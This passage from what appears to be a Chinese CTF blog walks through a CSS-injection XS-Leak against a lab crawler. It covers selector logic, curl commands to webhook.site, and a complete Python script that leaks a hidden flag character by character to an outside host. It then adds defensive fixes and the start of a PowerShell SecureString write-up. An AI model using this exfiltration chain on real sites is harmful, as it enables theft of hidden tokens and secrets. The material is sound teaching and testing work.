属性选择器还有几个”模糊匹配”的变体，这就是我们读 flag 的核心工具：

写法	含义
`[value="abc"]`	value 恰好等于 `abc`
`[value^="abc"]`	value 以 `abc` 开头
`[value$="abc"]`	value 以 `abc` 结尾
`[value*="abc"]`	value 包含 `abc`

另外还有组合器，用来描述元素之间的位置关系（比如”在它后面的兄弟”）：

写法	名字	含义
`A B`	后代	A 里面的所有 B
`A > B`	子代	A 的直接子元素 B
`A + B`	相邻兄弟	紧跟在 A 后面的那一个 B
`A ~ B`	一般兄弟	A 后面的所有 B

举个和本题完全对应的例子。flag.html 的 DOM 结构（浏览器把 <html> 下的东西自动整理后）大致是：

1
<html>
2
  <head>
3
    <link rel="stylesheet" href="...">
4
  </head>
5
  <body>
6
    <form>
7
      <input name="Email" type="text" value="test">      <!-- 1 -->
8
      <input name="flag"  type="hidden" value="flag{...}"> <!-- 2 -->
9
      <input type="submit" value="提交">                  <!-- 3 -->
10
    </form>
11
  </body>
12
</html>

那么：

input[name=flag] ~ input[type=submit] 选中的是 第 3 个元素（提交按钮），条件是”它前面有一个 name=flag 的 input”。
input[name=flag] + input[type=submit] 选中的是”紧跟在 flag 输入框后面的兄弟”，但紧跟着的是”提交按钮”吗？不是——第 2 个后面的兄弟就是第 3 个，所以这里 + 其实也能用；不过 ~ 更保险（万一中间还夹了别的元素）。

3.5 层叠与优先级（specificity）——利用手法的关键#

同一个元素、同一个 CSS 属性，如果被多条规则同时命中，只会有一个值生效。谁生效的规则是：

先看 !important（本题用不到）；
再看优先级（specificity），高的赢；
优先级相同时，写在后面的赢。

优先级的算法是一个三元组 (ID 数量, 类/属性/伪类数量, 元素/伪元素数量)，逐位比较。

用本题的两条规则算一下：

1
/* 心跳规则：2 个元素 + 1 个属性 + 1 个元素 = (0, 2, 2) */
2
input[type=hidden] ~ input[type=submit] { background-image: url(.../hb) }
3

4
/* 候选规则：2 个元素 + 2 个属性 + 1 个元素 = (0, 3, 2) ← 更高 */
5
input[type=hidden][value^="flag{a"] ~ input[type=submit] { background-image: url(.../61) }

(0,3,2) > (0,2,2)，所以只要候选规则命中，它就一定压过心跳规则。我们正是靠这个性质来判断”这一位到底是不是这个字符”。

3.6 CSS 里怎么”发网络请求”#

CSS 里能触发 HTTP 请求的写法有很多，最常用的两种：

1
/* 1. 直接写 url()，浏览器会去下载这个资源 */
2
input[type=submit] { background-image: url("https://attacker.example/pixel.png"); }
3

4
/* 2. @import：再引入一份 CSS */
5
@import url("https://attacker.example/more.css");

可以放 url() 的属性非常多，例如：

background-image、border-image-source、list-style-image、mask-image、cursor、@font-face 的 src 等等。

但有一个大前提：这个元素必须真的被渲染。

如果元素是 display: none（比如 type="hidden" 的 input），那么写在它身上的 background-image 根本不会去下载。
所以必须把请求”挂”到一个可见元素上。

3.7 盲注 / XS-Leak 的核心思想#

我们看不到 flag.html 的内容，但我们能看到自己服务器收到的请求。于是：

把”flag 的第 i 位是不是字符 c”变成一个 CSS 条件；条件成立 → 浏览器去请求 https://我们的服务器/mark_<i>_<c>；条件不成立 → 什么都不发（或发别的东西）。

我们服务器日志里出现哪个标记，就说明哪个猜测成立。

这就是盲注（blind injection）在浏览器侧的表现，也常被叫做 XS-Leak（跨站泄露）。和 SQL 盲注的思路一模一样：看不见数据，就用”有回显/无回显”当 0/1。

4. 攻击思路是怎么想出来的#

把上面所有信息串起来，思路就自然出现了：

css 参数被拼进 <link href> → 我能提供一份自己写的 CSS。
flag 在 input[name=flag] 的 value 属性里 → 我可以用属性选择器判断它的前缀。
CSS 里 url() 能发请求 → 我可以让”前缀猜对”这件事变成一次 HTTP 请求。
flag 有 44 个字符 → 那就一位一位猜：先猜第 1 位，猜对了再猜第 2 位……
我看不到页面，但我能看自己服务器的日志 → 用日志当”回显”。

剩下的工作只有两处细节：

我没有公网服务器，怎么收请求？（第 5 节：用 webhook.site）
flag 输入框是 hidden，不能直接挂图片，怎么办？（第 6.3 节：用兄弟选择器打提交按钮）

5. 搭建外带/托管通道#

5.1 一个自然的想法：能不能直接内联写 CSS？#

href="${encodeURI(req.query.css)}" 里，参数只被当作一个 URL。那么能不能用 data: URL 把 CSS 直接塞进去？比如：

1
?css=data:text/css,@import url(https://my.server/leak);

我在靶机上实测过：没有收到任何回调，说明 data: 形式的样式表被浏览器拦掉了（参考第 10.1 节）。

所以结论是：必须自己托管一份 CSS，然后把 URL 交给机器人。

5.2 为什么选 webhook.site#

我们需要一个满足三点的服务：

公网可访问（机器人能连上，且你的浏览器/靶机都能连上）；
能自定义返回内容——我们要随时更换 CSS 内容；
能查看请求日志——这就是我们的”回显”。

webhook.site 正好三样都有（免费、无需注册）：

POST https://webhook.site/token → 生成一个专属 token（UUID）；
PUT https://webhook.site/token/<uuid> → 设置”默认响应”的内容和 MIME 类型；
https://webhook.site/<uuid>/任意路径 → 任何对该地址的请求都会被记录下来；
GET https://webhook.site/token/<uuid>/requests → 拉取请求日志（JSON）。

5.3 第一步：创建 token 并设置响应内容#

Terminal window

1
# 1) 创建 token
2
curl -s -X POST https://webhook.site/token
3
# {"uuid":"8f4706fc-....","redirect":true,...}
4

5
# 2) 把默认响应设置成我们的 CSS，并且把 MIME 类型设为 text/css
6
curl -s -X PUT https://webhook.site/token/8bd811ec-6830-4dde-85eb-8796f44d24c1 \
7
     -H "Content-Type: application/json" \
8
     -d '{"default_content":"@import url(https://webhook.site/8bd811ec-6830-4dde-85eb-8796f44d24c1/fromcss);",
9
          "default_content_type":"text/css"}'

MIME 必须是 text/css。浏览器对跨域样式表有”严格 MIME 检查”：如果返回头是 text/plain 或 text/html，浏览器会在控制台报 Refused to apply style ... because its MIME type ... is not a supported stylesheet MIME type 然后直接忽略这份样式表，我们就什么都收不到了。

5.4 第二步：确认爬虫真的能出网#

把 css 指向我们的 webhook，然后看日志：

Terminal window

1
curl -s -X POST --data-urlencode "css=https://webhook.site/8bd811ec-6830-4dde-85eb-8796f44d24c1/test1" \
2
     http://node4.anna.nssctf.cn:25698/crawl.html

2026-09-23_15-12-56.png

日志里出现了（节选）：

1
{
2
  "method": "GET",
3
  "user_agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/78.0.3882.0 Safari/537.36",
4
  "headers": {
5
    "referer": ["http://127.0.0.1:60000/flag.html?css=https://webhook.site/8bd811ec-6830-4dde-85eb-8796f44d24c1/test1"],
6
    "accept": ["text/css,*/*;q=0.1"]
7
  },
8
  "url": "https://webhook.site/8bd811ec-6830-4dde-85eb-8796f44d24c1/test1"
9
}

这三次信息量很大：

user_agent 里有 HeadlessChrome/78 → 是靶机派出的无头浏览器，不是我们自己的请求；
referer 是 http://127.0.0.1:60000/flag.html?css=... → 证明它确实访问了内网 flag.html，而且把我们给的地址当作样式表加载了；
accept: text/css → 浏览器把它当样式表请求。

结论：链路通了，爬虫能出网、能加载我们的 CSS，我们能读到日志。

5.5 第三步：验证 CSS 真的被执行#

光”下载了 CSS”还不够，我们要确认浏览器执行了里面的规则。把默认内容设为：

1
@import url(https://webhook.site/8bd811ec-6830-4dde-85eb-8796f44d24c1/fromcss);

2026-09-23_15-22-41.png

然后再触发一次爬虫，日志里出现了 /fromcss 这条请求 → CSS 里的 @import 生效了。至此”发 payload → 浏览器执行 → 我们看到回显”的完整闭环打通。

6. 写出第一个能用的 payload#

6.1 先验证属性选择器能读到属性值#

页面里 Email 输入框的值是固定的 test，是很好的”试验品”。我们写：

1
input[type=submit]{background-image:url(https://webhook.site/<uuid>/g/hb)}
2
input[value^="te"] ~ input[type=submit]{background-image:url(https://webhook.site/<uuid>/g/seltest)}

要发送的payload这样填：

1
curl -s -X PUT "https://webhook.site/token/8bd811ec-6830-4dde-85eb-8796f44d24c1" -H "Content-Type: application/json" \
2
    -d "{\"default_content\":\"input[type=submit]{background-image:url(https://webhook.site/8bd811ec-6830-4dde-85eb-8796f44d24c1/g/hb)}\
3
    \ninput[value^='te'] ~ input[type=submit]{background-image:url(https://webhook.site/8bd811ec-6830-4dde-85eb-8796f44d24c1/g/seltest)}\",
4
    \"default_content_type\":\"text/css\"}"
5
    ````
6
含义：
7

8
* 第 1 条：**无条件**让提交按钮的背景图去请求 `/g/hb`（我把它叫**心跳**，用来证明"这轮爬虫确实执行了"）；
9
* 第 2 条：**当存在 value 以 `te` 开头的元素时**，让提交按钮的背景图去请求 `/g/seltest`。
10

11
因为 `Email` 的 value 是 `test`，以 `te` 开头，所以第 2 条会命中，并且优先级更高，
12
把第 1 条的 `background-image` 覆盖掉。
13
![2026-09-23_15-48-06.png](/images/uploads/20260923-154848-37569d.png)
14

15
实测日志：

展开收起

…/g/seltest ← 命中了（而不是 /g/hb）

1
一次就同时验证了三件事：**属性选择器能用、兄弟组合器能用、背景图请求能回显**。
2

3
### 6.2 为什么"隐身的 flag 输入框"不能直接用
4

5
直觉写法是：
6

7
```css
8
input[name=flag][value^="NSS"]{background-image:url(.../mark)}

但没用，因为它是 type="hidden"，display: none，不会被渲染， CSS 引擎不会为它下载背景图。

6.3 正确姿势：用兄弟选择器把条件打到提交按钮上#

1
input[type=hidden][value^="NSS"] ~ input[type=submit] {
2
    background-image: url("https://webhook.site/<uuid>/g/<标记>");
3
}

读法是：

“如果存在一个隐藏输入框，它的 value 以 NSS 开头，那么把它后面的那个提交按钮（一个真实可见、会被渲染的元素）的背景图设成这个 URL。”

选择器只是在”判断条件”，真正发请求的是被选中的可见按钮 —— 这就是绕开 display:none 的关键。

6.4 一轮同时试一整个字符集#

如果一次只试一个字符，44 个字符 × 95 个候选 = 4180 次抓取，太慢了。技巧是：一次把整个字符集都写进去，每个候选配一个不同的 URL：

1
/* 心跳：没猜中任何字符时它会生效，用来判断"到结尾了" */
2
input[type=hidden] ~ input[type=submit]{
3
    background-image:url("https://webhook.site/<uuid>/g/0/hb")
4
}
5

6
/* 候选：一次列出所有可能的下一个字符 */
7
input[type=hidden][value^="NSSCTF{dda"]~input[type=submit]{
8
    background-image:url("https://webhook.site/<uuid>/g/0/61")}   /* 字符 a */
9
input[type=hidden][value^="NSSCTF{ddb"]~input[type=submit]{
10
    background-image:url("https://webhook.site/<uuid>/g/0/62")}   /* 字符 b */
11
input[type=hidden][value^="NSSCTF{ddc"]~input[type=submit]{
12
    background-image:url("https://webhook.site/<uuid>/g/0/63")}   /* 字符 c */
13
/* ... 一直到字符集里的最后一个字符 ... */

为什么”一轮就能得到答案”？两个理由：

前缀唯一性：value 是一个确定的字符串，所以在”已知前缀”固定的情况下， 最多只有一个候选能让 [value^="前缀+候选"] 成立（比如真实下一位是 5，那就只有试 5 的那条会命中）。
覆盖关系：所有命中的规则都想设置同一个属性 background-image，最后生效的一定是优先级最高的那一条。候选规则 (0,3,2) 比心跳规则 (0,2,2) 高，所以只要命中候选，就一定是候选的 URL 被请求；如果一条候选都没命中，才会去请求 /hb。

于是每轮抓取的日志只会有两种结果之一：

1
/g/<轮次>/<候选字符的十六进制>   → 该位就是这个字符
2
/g/<轮次>/hb                    → 该位没有任何候选匹配（说明 flag 已经结束）

这样一来，一次抓取泄露一个字符，44 次左右就够（实测总共不到 50 轮）。

7. 把单字符爆破跑起来#

人工一轮一轮发请求太累，直接脚本化。整体流程：

1
已知前缀 prefix = ""
2
循环：
3
    1. 用 prefix + 字符集 生成整份 CSS
4
    2. PUT 到 webhook.site（更新默认响应）
5
    3. POST /crawl.html，css=https://webhook.site/<uuid>/c<轮次>a<尝试号>
6
    4. 轮询 /token/<uuid>/requests，看有没有 .../g/<轮次>/xxx
7
    5. 拿到单字符 → 追加到 prefix；若拿到 hb 或拿到 "}" → 结束

几个工程上的设计（这些是本题最容易翻车的地方）：

设计	原因
每轮 URL 都带轮次号 `/g/<轮次>/<hex>`	避免上一轮的迟到回调污染这一轮的判断
每次抓取的样式表地址也带唯一标记 `/c<轮次>a<尝试号>`	可以从日志判断”爬虫到底有没有真的执行”，区分”爬虫没跑”和”没猜中”
候选字符用十六进制当路径（`a` → `61`）	避免特殊字符出现在 URL 路径里
用 CSS 十六进制转义 `\61` 表示字符	兼容 `"`、`\`、换行等”不好写进 CSS 字符串”的字符
配额耗尽自动换 token	webhook.site 免费 token 有请求上限（见 10.3）
失败自动重试	靶机偶发丢回显（见 10.4）

8. 完整脚本与逐行讲解#

脚本保存为solve.py（Windows 下直接 python solve.py "<已知前缀>" 续跑）。

1
import json
2
import sys
3
import time
4
import urllib.parse
5
import urllib.request
6

7
BASE = "https://webhook.site"
8

9
# 靶机地址：实例换端口了，只改这一行
10
TARGET = "http://node4.anna.nssctf.cn:27550/crawl.html"
11

12
# 两次抓取之间至少间隔多少秒。这是"保命"参数，别调小：
13
# 每次抓取都会启动一个无头 Chrome，连发会把靶机容器打爆 → 实例重启 → 端口变。
14
MIN_CRAWL_INTERVAL = 12
15

16
_last_crawl = [0.0]
17

18

19
def http(url, data=None, method="GET", headers=None, timeout=30):
20
    req = urllib.request.Request(url, data=data, method=method)
21
    for k, v in (headers or {}).items():
22
        req.add_header(k, v)
23
    with urllib.request.urlopen(req, timeout=timeout) as r:
24
        return r.read().decode("utf-8", "replace")
25

26

27
class Exfil:
28
    """管理 webhook.site 的 token：设置 CSS 内容 + 读取请求日志。"""
29

30
    def __init__(self, log=print):
31
        self.log = log
32
        self.new_token()
33

34
    def new_token(self):
35
        # 免费 token 有请求配额（每次抓取消耗 2 次），用满就换一个
36
        self.token = json.loads(http(f"{BASE}/token", data=b"", method="POST"))["uuid"]
37
        self.log(f"[token] {self.token}")
38

39
    @property
40
    def css_url(self):
41
        return f"{BASE}/{self.token}"
42

43
    def set_css(self, content):
44
        # 默认响应 = 我们的 CSS，MIME 必须是 text/css，否则浏览器不认
45
        body = json.dumps(
46
            {"default_content": content, "default_content_type": "text/css"}
47
        ).encode()
48
        http(
49
            f"{BASE}/token/{self.token}",
50
            data=body,
51
            method="PUT",
52
            headers={"Content-Type": "application/json"},
53
        )
54

55
    def urls(self):
56
        try:
57
            raw = http(f"{BASE}/token/{self.token}/requests?sorting=newest&per_page=100")
58
            return [i.get("url", "") for i in json.loads(raw).get("data", [])]
59
        except Exception:
60
            return []
61

62

63
def crawl(css_url):
64
    """让靶机抓取。带全局最小间隔，保证不会两次抓取叠在一起。"""
65
    wait = MIN_CRAWL_INTERVAL - (time.time() - _last_crawl[0])
66
    if wait > 0:
67
        time.sleep(wait)
68
    _last_crawl[0] = time.time()
69
    body = urllib.parse.urlencode({"css": css_url}).encode()
70
    return http(TARGET, data=body, method="POST")
71

72

73
def build_css(track, step, prefix, charset):
74
    """一轮的 CSS：1 条心跳 + 每个候选字符 1 条规则（一次抓取试完整个字符集）。"""
75

76
    def esc(s):
77
        # CSS 十六进制转义（\61 = 'a'），引号/反斜杠/换行也能安全写进选择器
78
        return "".join(f"\\{ord(c):x} " for c in s)
79

80
    lines = [
81
        f'input[type=hidden]~input[type=submit]'
82
        f'{{background-image:url("{track}/{step}/hb")}}'
83
    ]
84
    for ch in charset:
85
        code = format(ord(ch), "x")
86
        lines.append(
87
            f'input[type=hidden][value^="{esc(prefix + ch)}"]~input[type=submit]'
88
            f'{{background-image:url("{track}/{step}/{code}")}}'
89
        )
90
    return "\n".join(lines)
91

92

93
def probe(exfil, step, prefix, charset, log=print):
94
    """猜一位：一次抓取，等 90 秒；真的没反应才再试一次（仍受 12 秒间隔约束）。"""
95
    for attempt in range(2):
96
        track = f"{BASE}/{exfil.token}/g"
97
        css = build_css(track, step, prefix, charset)
98
        marker = f"c{step}a{attempt}"
99
        exfil.set_css(css)
100
        crawl(f"{exfil.css_url}/{marker}")
101

102
        hits, loaded = set(), False
103
        for _ in range(18):          # 18 × 5s = 90 秒
104
            time.sleep(5)
105
            for url in exfil.urls():
106
                if f"/g/{step}/" in url:
107
                    hits.add(url.rsplit("/", 1)[-1])
108
                if url.endswith(f"/{marker}"):
109
                    loaded = True
110
            if hits:
111
                return hits
112
        log(f"  step {step} attempt {attempt}: loaded={loaded} hits={hits}")
113
        if not loaded:
114
            exfil.new_token()        # 样式表都没被拉取 → 多半是 token 配额用满
115
    return set()
116

117

118
def main():
119
    # flag 每个实例都不一样（动态生成），所以不做任何跨实例缓存：
120
    # 每次启动都从空前缀开始爆破；只有你显式传参时才用你给的前缀。
121
    prefix = ""
122
    if len(sys.argv) > 1:
123
        prefix = sys.argv[1]
124
    charset = [chr(c) for c in range(0x20, 0x7F)] + ["\n", "\t", "\r", "\x0b", "\x0c"]
125

126
    exfil = Exfil()
127
    print(f"target: {TARGET}")
128
    print(f"resume prefix: {prefix!r}", flush=True)
129
    for step in range(len(prefix), 80):
130
        hits = probe(exfil, step, prefix, charset)
131
        if not hits:
132
            print(f"stopped: no callback at step {step}", flush=True)
133
            break
134
        if "hb" in hits:
135
            print(f"stopped: no candidate matched at pos {len(prefix)}", flush=True)
136
            break
137
        chars = [chr(int(h, 16)) for h in hits if h != "hb"]
138
        if len(chars) != 1:
139
            print(f"ambiguous at step {step}: {chars}", flush=True)
140
        ch = chars[0]
141
        prefix += ch
142
        print(f"[{step}] {prefix}", flush=True)
143
        if ch == "}":
144
            print("FLAG:", prefix, flush=True)
145
            break
146

147

148
if __name__ == "__main__":
149
    main()

展开收起

遇到的崩溃原因#

2026-09-23_16-09-57.png

抓取接口是”异步点火”，每次抓取 = 启动一个无头 Chrome POST /crawl.html → 0.2~0.4 秒就回 “Crawling” ← 接口立即返回 3 秒后浏览器才真正去拉样式表 ← 说明是后台异步启动 Chromium

Chrome 进程很吃内存，靶机容器规格又小。

连发就会把容器打爆，而且接口还假装正常我做了一组对照：间隔 0.2 秒连发 2 次 → 两次都正常执行（t+3.0s、t+3.9s）；改成连发 4 次 → 容器直接没了，之后的现象是：

POST /crawl.html -> 200 “Crawling” ← 接口照样秒回，骗你以为还好 120 秒内 0 次样式表拉取 ← 爬虫其实已经死了，请求全堆积再等一会 -> 端口 000（连接被拒） ← 只能杀掉重启

脚本里推高频率的地方 for attempt in range(4): # 一个字符最多抓 4 次 exfil.set_css(css) crawl(…) # 失败后立刻再抓，中间没有任何等待

一轮失败就连发，44 个字符累积下来，无头浏览器进程叠加 → 容器崩。我第一次能跑通，是因为当时抓取天然间隔 10~25 秒，从没重叠。

放心，脚本解决了这个问题，只是速度慢
2026-09-23_16-52-48.png

8.1 逐段说明#

build_css：把 prefix（已知部分）和每个候选字符拼成一个前缀选择器，例如已知 NSSCTF{dd529c21-399e-4、候选 e，就生成 input[type=hidden][value^="NSSCTF{dd529c21-399e-4e"]~input[type=submit]{...}。
esc()：用 CSS 十六进制转义表示字符，好处是 "、\、\n 这类字符也能安全写入选择器字符串。
hits：这一轮我们收到的 /g/<step>/xxx 标记集合。正常情况下只有一个元素。
loaded：标志位，表示”这一轮的样式表确实被下载过”。如果 loaded=False 且没有任何命中，说明爬虫根本没跑（而不是”没猜中”），这时换 token 再试——这是排查第 10.3 节那个坑的关键。
if "hb" in hits：心跳只会在”一条候选都没命中”时生效，所以它出现就说明flag 已经结束（或者下一位是不在字符集里的字符）。

9. 运行日志与结果校验#

9.1 关键运行日志（节选）#

1
[token] 97dfa64a-1194-41c2-8df7-fa06a13d7435
2
resume prefix: 'NSSCTF{dd529c21-399e-4'
3
[22] NSSCTF{dd529c21-399e-4e
4
[23] NSSCTF{dd529c21-399e-4eb
5
  step 24 attempt 0: loaded=False hits=set()
6
[token] 0ccdb1a7-c10d-4f6f-8566-587abc3196d8
7
[24] NSSCTF{dd529c21-399e-4eb2
8
[25] NSSCTF{dd529c21-399e-4eb2-
9
[26] NSSCTF{dd529c21-399e-4eb2-8
10
...
11
[42] NSSCTF{dd529c21-399e-4eb2-88b3-3d1512762bce
12
[43] NSSCTF{dd529c21-399e-4eb2-88b3-3d1512762bce}
13
FLAG: NSSCTF{dd529c21-399e-4eb2-88b3-3d1512762bce}

（loaded=False 的几行就是 token 配额用满的时刻，脚本自动换了新 token 继续。）

9.2 为什么又多跑了第 44 位#

收到 } 之后我做了个”全等校验”，结果发现一件事：[value="完整flag"] 不命中。说明属性值在 } 后面还有东西。继续爆破第 44 位，得到的是换行符 \n。对应到 flag.html 的源码，它的 value 很可能是跨行写的，比如：

1
<input name="flag" type="hidden" value="NSSCTF{dd529c21-399e-4eb2-88b3-3d1512762bce}
2
"/>

HTML 会把这个换行原样保存在属性值里，所以选择器要用 [value="flag{...}\a "] （\a 就是换行的 CSS 转义）才能全等匹配。

9.3 最终校验#

一次性发三条规则（注意顺序）：

1
/* 1) 对照组：不带换行，应该不命中 */
2
input[type=hidden][value="NSSCTF{dd529c21-399e-4eb2-88b3-3d1512762bce}"] ~ input[type=submit]{
3
    background-image:url(https://webhook.site/<uuid>/g/CTRL-no-newline) }
4

5
/* 2) 待验证：结尾带一个换行 */
6
input[type=hidden][value="NSSCTF{dd529c21-399e-4eb2-88b3-3d1512762bce}\a "] ~ input[type=submit]{
7
    background-image:url(https://webhook.site/<uuid>/g/EXACT-with-newline) }
8

9
/* 3) 心跳，兜底 */
10
input[type=hidden] ~ input[type=submit]{
11
    background-image:url(https://webhook.site/<uuid>/g/HB) }

日志：

1
.../g/EXACT-with-newline

只有”带换行”的那条命中，说明属性值就是 flag + 一个换行，flag 本体确认无误：

1
NSSCTF{dd529c21-399e-4eb2-88b3-3d1512762bce}

10. 踩过的坑（很重要）#

10.1 `data:` URL 直接内联 CSS 被浏览器拦掉#

想法：用 ?css=data:text/css,@import url(https://my.host/x); 省掉托管。实测没有任何回调。原因通常是浏览器对 data: 类型的样式表有安全限制（不同版本策略不同），这条路在本题环境里走不通。

对策：老老实实用一个能自定义内容的公网服务（webhook.site）托管 CSS。

10.2 MIME 类型不对，样式表被静默忽略#

一开始我用 curl 的 -d 传 JSON，参数没生效，返回的 default_content_type 仍然是 text/plain。 text/plain 的响应会被浏览器以”非法的样式表 MIME”拒绝，表现为永远收不到任何回调。

对策：确保 Content-Type: text/css，并在发布 payload 之后先自己 curl -i 一下确认返回头。

顺便一提，Windows PowerShell 里 curl 是 Invoke-WebRequest 的别名，参数语法和多行 JSON 都会被搞乱——要用 curl.exe。

10.3 webhook.site 免费 token 有请求配额（本次最大的坑）#

现象：爆破到第 22 位时，突然连心跳都没有了，连续三轮抓取完全没有日志。

排查过程：

先确认爬虫是不是挂了 → 用最简单的 body{background-image:url(.../ping)} 试，仍然没日志；
直接 curl 一下 webhook 地址，返回：
```
1
HTTP/1.0 429 Too many requests
2
Error: Request limit exceeded. Sign up to unlock more requests.
```
原来是 token 的请求数用满了（免费额度很低，每轮要消耗”下载样式表 + 回显”两次请求）。

对策：脚本里加入自动换 token：每轮的时间戳标记对不上（样式表没被下载）就 POST /token 换一个新的。

10.4 偶发丢回显#

几次出现”这一轮什么都没收到”但下一轮又正常，属于靶机/网络抖动。

对策：重试机制 + 每轮唯一轮次号（保证不会把上一轮的迟到回调算到这轮头上）。

10.5 一次抓取只能拿一个字符，速度慢#

每次抓取大约 10 秒左右（无头浏览器启动开销大），44 位大约跑 8~10 分钟。这也是为什么”每次抓取把所有候选一次性列全”很重要——把 95 次尝试压缩成 1 次。

11. 优化方向：能不能更快#

11.1 二分爆破可行吗？#

不划算。 二分查找每确定一个字符需要 log2(95) ≈ 7 次”条件判断”，而每次条件判断都要重新派一次爬虫（约 10 秒）。也就是说 44 个字符要 300 多次抓取，比现在（44 次）慢一个数量级。

判定型盲注真正要压缩的不是”试几个候选”，而是”每次抓取能拿回多少 bit”。当前方案一次抓取就把”这一位是什么字符”（≈6.5 bit）拿到了，已经接近该方案的上限。

11.2 真正有效的优化：一次抓取泄露多个位置#

瓶颈在于”同一个元素、同一个属性只能有一个生效值”。但我们可以在同一个元素上使用多个会发请求的属性，让每个属性负责一个位置的判断，例如：

1
/* 第 0 位放在 background-image 上 */
2
input[type=hidden][value^="f"] ~ input[type=submit]{ background-image: url(".../p0_66") }
3

4
/* 第 1 位放在 border-image-source 上 —— 和上面互不干扰，可以同时生效 */
5
input[type=hidden][value^="fl"] ~ input[type=submit]{ border-image-source: url(".../p1_6c") }
6

7
/* 第 2 位放在 list-style-image 上 */
8
input[type=hidden][value^="fla"] ~ input[type=submit]{ list-style-image: url(".../p2_61") }

再配合 [value^=...] [value$=...] 等不同条件，理论上一次抓取可以并行确定好几位。不过要注意每个属性的候选集合仍然是”一次只能选一个”，实现复杂度会上升不少。

11.3 还可以考虑的方向#

换用没有请求配额、带批量查询 API 的收集端（自建 VPS / requestbin 自部署）；
让爬虫复用同一个浏览器实例（如果靶机能接受多个 URL 参数）以减少启动开销；
用 @font-face + unicode-range 之类的技巧做”按字符批量判断”，但对属性值场景收益有限。

12. 防守方应该怎么修#

这道题的错误在于：把用户可控输入直接拼进了 HTML 的 URL 属性里，而且 bot 带着敏感数据去访问带用户输入的页面。

正确做法：

不要拼参数。css 这个功能如果要保留，就用映射表（白名单 ID → 固定文件）： ?theme=dark 而不是 ?css=<任意 URL>。
若必须接受 URL，做严格白名单（只允许自己域下的路径），并校验协议（只允许 https，禁止 data:、javascript:、file:）。
给 flag 页面加 CSP，例如：
```
1
Content-Security-Policy: default-src 'none'; style-src 'self'; img-src 'self'
```
这样即使注入了外部样式表，浏览器也不会去请求攻击者的服务器。（注意：只写 style-src 'self' 还不够，要同时限制 img-src 等”能发请求”的资源类型，否则攻击者仍可用 @import 之外的方式外带。）
敏感数据不要放在能被选择器匹配到的地方。flag 本质上只需要在服务端展示给用户，没必要渲染进 DOM；尤其不要放进属性值里。
给爬虫做网络隔离：bot 出网走白名单代理，只允许必要域名，攻击者就拿不到回显通道了。
对爬虫接口做频率限制，避免攻击者用”逐位爆破 + 高频抓取”快速拖库。

13. 速查表#

13.1 本题用到的 CSS 语法#

语法	作用
`input[type=hidden]`	选中所有隐藏输入框
`[value^="abc"]`	value 以 `abc` 开头
`[value="abc"]`	value 恰好等于 `abc`
`A ~ B`	A 后面的兄弟元素 B
`background-image: url(...)`	设置背景图（会触发 HTTP 请求）
`@import url(...)`	引入另一份 CSS
`\61`	CSS 转义，表示字符 `a`（十六进制 + 空格结束）
`(0,3,2) > (0,2,2)`	优先级比较：属性选择器多的赢

13.2 本题用到的接口#

接口	用途
`POST http://node4.anna.nssctf.cn:25698/crawl.html`，参数 `css`	让靶机浏览器带着我们的 `css` 去访问内网 flag.html
`POST https://webhook.site/token`	创建收集用的 token
`PUT https://webhook.site/token/<uuid>`	设置默认响应（我们的 CSS 内容 + `text/css`）
`GET https://webhook.site/token/<uuid>/requests`	读取请求日志（回显）

13.3 整个攻击链图示#

1
   我（攻击者）
2
     │  1. PUT CSS 到 webhook.site（内容随轮次变化）
3
     │  2. POST css=https://webhook.site/<uuid>/c<轮次>  →  /crawl.html
4
     ▼
5
  靶机（127.0.0.1:60000 内网服务 + 无头浏览器）
6
     │  3. 浏览器访问 flag.html?css=https://webhook.site/<uuid>/c<轮次>，下载我们的 CSS
7
     │  4. 执行 CSS：
8
     │       - input[type=hidden][value^="已猜前缀+候选"] ~ input[type=submit]
9
     │         → 命中则请求 https://webhook.site/<uuid>/g/<轮次>/<候选hex>
10
     │       - 一条都没命中则请求 .../g/<轮次>/hb
11
     ▼
12
  webhook.site 记录请求日志
13
     │  5. 我轮询日志，读出命中的候选字符，拼到前缀上，回到第 1 步
14
     ▼
15
  44 次循环后得到：NSSCTF{xxxxxxxxxxxxxxxxx}

展开收起

[巅峰极客 2022]powerpower powershell的ConvertFrom-SecureString

Tue, 22 Sep 2026 00:00:00 GMT

本题在线靶场地址#

https://www.nssctf.cn/problem/2515

信息收集#

搜索ctf，发现[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\SystemShared]路径下有base64编码

2026-09-22_19-04-37.png

2026-09-22_19-06-14.png

Terminal window

1
JFNlY3JldCA9ICd4eHh4eHh4eHh4eHh4eHgnCiRQYXNzcGhyYXNlID0gKEdldC1JdGVtUHJvcGVydHkgLVBhdGggYWFhYTpcU09GVFdBUkVcTWljcm9zb2Z0XEJpZEludGVyZmFjZSkKCiRrZXkgPSBbQnl0ZVtdXSgkUGFzc3BocmFzZS5QYWRSaWdodCgyNCkuU3Vic3RyaW5nKDAsMjQpLlRvQ2hhckFycmF5KCkpCgokU2VjcmV0IHwKICBDb252ZXJ0VG8tU2VjdXJlU3RyaW5nIC1Bc1BsYWluVGV4dCAtRm9yY2UgfCAKICBDb252ZXJ0RnJvbS1TZWN1cmVTdHJpbmcgLUtleSAka2V5IHwgCgo=
2
->from base64
3
$Secret = 'xxxxxxxxxxxxxxx'
4
$Passphrase = (Get-ItemProperty -Path aaaa:\SOFTWARE\Microsoft\BidInterface)
5

6
$key = [Byte[]]($Passphrase.PadRight(24).Substring(0,24).ToCharArray())
7

8
$Secret |
9
  ConvertTo-SecureString -AsPlainText -Force |
10
  ConvertFrom-SecureString -Key $key |

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\BidInterface]

2026-09-22_19-17-12.png

1
"F844A6035CF27CC4C90DFEAF579398BE6F7D5ED10270BD12A661DAD04191347559B82ED546015B073
2
17000D8909939A4DA7953AED8B83C0FEE4EB6E120372F536BC5DC39"

代码审计#

作用可以概括为：从注册表/某个 PowerShell 驱动器里取出一个口令，用它生成一个 24 字节的 AES 密钥，然后把明文 $Secret 加密成一段可保存的加密字符串。
逐行解释：

1
$Secret = 'xxxxxxxxxxxxxxx'

定义要保护的明文内容，例如密码、密钥、令牌等。这里 xxxxxxxxxxxxxxx 只是占位符。

1
$Passphrase = (Get-ItemProperty -Path aaaa:\SOFTWARE\Microsoft\BidInterface)

从某个路径读取数据。aaaa:\ 很可能是脱敏写法。 Get-ItemProperty 常用于读注册表项。注意：它通常返回一个对象，而不是直接返回字符串。所以后面直接 $Passphrase.PadRight(…) 很可能报错，除非这里实际取的是某个字符串属性，或者代码省略了 .属性名。

1
